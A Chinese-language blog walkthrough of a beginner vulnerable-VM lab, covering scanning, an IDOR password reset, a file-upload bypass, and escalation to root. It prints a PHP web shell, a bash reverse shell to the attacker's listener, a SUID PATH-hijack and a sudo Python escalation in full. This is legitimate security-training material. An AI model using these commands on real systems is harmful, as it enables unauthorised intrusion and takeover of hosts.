🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 扫描网络目录结构
- 4. 水平越权利用
- 5. 文件上传漏洞GETSHELL
- 6. 提权
- 6.1 环境变量劫持提权
- 6.2 sudo提权
- 相关资源
一、靶场搭建
1. 靶场描述
Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force
在描述中作者提示该靶机不需要使用暴力破解。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。
下载完成的文件如下:
一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
解压下载的zip压缩文件之后,使用VMware打开对应的
ovf
文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网路模式为NAT
模式,然后点击启动就行。
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式
确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24
通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.132
.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132
结果图:
可以确认主机开放了
80
和22
端口,分别对应http服务和ssh服务,以及http后台使用的PHP作为后台语言。到这里直接通过浏览器访问对应web服务。
3. 扫描网络目录结构
通过
dirsearch
扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。
# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.132 -x 404
扫描出的目录之后可以一一进行访问,存在
/upload/
推测是文件上传的目录,推测网站中存在文件上传的地方。
4. 水平越权利用
找到系统的登录页面, 随便输入账号和密码进行登录,查看对应的请求参数,使用
sqlmap
试试是否存在sql注入漏洞。
# 使用sqlmap测试是否存在sql注入的命令
sqlmap -u " http://192.168.37.132/login.php" --data="username=admin&password=admin"
发现登录的两个参数并不存在sql注入点。
发现
register.php
页面可以直接注册账号,先注册一个账号,看看登录之后有没有什么利用点。
登录之后的页面,察觉到当前新注册用户的id为2,推测系统存在自带的账号的id为1,尝试将url上的id改为1看是否可以进行水平越权,获取id=1的用户的界面。
发现网站已经做了这种方式
水平越权
的检验。接下尝试使用页面上的修改密码,查看请求中包含两个参数password
和id
。尝试修改请求包内容设置id=1,看是否支持可以通过篡改请求包的内容,修改id=1用户的密码。发现修改密码成功。
5. 文件上传漏洞GETSHELL
成功修改id=1的密码,我们知道系统自带用户的密码,现在只需要尝试常见的用户名进行登录就行(也可以在注册页面进行尝试,因为用户名如果存在,注册会失败)。通过上述方法测试出来系统自带的用户的用户名为
admin
.
发现存在文件上传的地方,尝试上传文件,发现做了文件检验,但也没有完全做。限制上传php后缀的文件,但我修改成pHp后缀就能上传,并不是只允许上传
jpg,png,gif
文件。并且发现这里上传的文件就保存之前扫描目录结构的/upload
目录下。
上传过程中发现phtml文件可以上传成功,可以利用这种类型文件执行php代码。phtml文件可以同时包含html文件和php代码。新建一个test1.phtml上传。
# 代码内容
<?php
echo $_GET["x"];
system($_GET["x"]); //在主机上执行对应x参数的命令
?>
获取反向shell
# kali开启反向shell监听
nc -lvp 8888
# x参数设置为
bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"
因为上述命令包含&这和http中url中定义get请求参数的符号冲突,需要进行http的urlencode.可以访问这个网站点击跳转进行编码.将对应x参数设置编码后的bash命令,成功获取反弹shell。
6. 提权
获取反弹shell之后执行下面这段python代码创建一个交互性式的shell伪终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
拿到对应shell权限之后,一般有数据库的web项目,可以去查看数据库的账号和密码,可能会多账户密码相同的情况。这个项目中账号和密码存放在
/var/www/html/config/database.php
中。发现数据库账号和密码都为john
。
查看
/home
目录下存在john用户,可以尝试使用数据库密码进行切换用户。但是登录失败。
尝试使用
SUID
文件进行提权
# 寻找具有SUID标志的文件
find / -perm -u=s 2>>/dev/null
发现在
/home/john/toto
有一个具有suid标志的文件,查看文件的所有者,并且执行它,分析它的逻辑。
发现这个命令的执行逻辑是查看
john
的用户信息,推测里面执行了命令id john
.尝试使用环境环境变量劫持提权。
6.1 环境变量劫持提权
环境变量劫持提权的命令
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp/:$PATH
# 调用命令
/home/john/toto
成功将shell的权限升级为john,在john的家目录下发现密码
root123
。
6.2 sudo提权
发现密码之后直接使用
sudo -l
看是否有可利用的点,发现john可以以root身份执行/usr/bin/python3 /home/john/file.py
的命令。
查看file.py文件的内容之后,发现john可以直接进行修改,接下我们修改一下file.py,在里面添加一些创建新终端的代码,以获得root身份。
echo "import os;os.system('/bin/bash')" > /home/john/file.py
# 提权
sudo /usr/bin/python3 /home/john/file.py
成功获取到root身份shell,获取到最终flag.
相关资源
1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)
9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)
10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)
11、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion2 通关详解 (附靶机搭建教程)
12、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)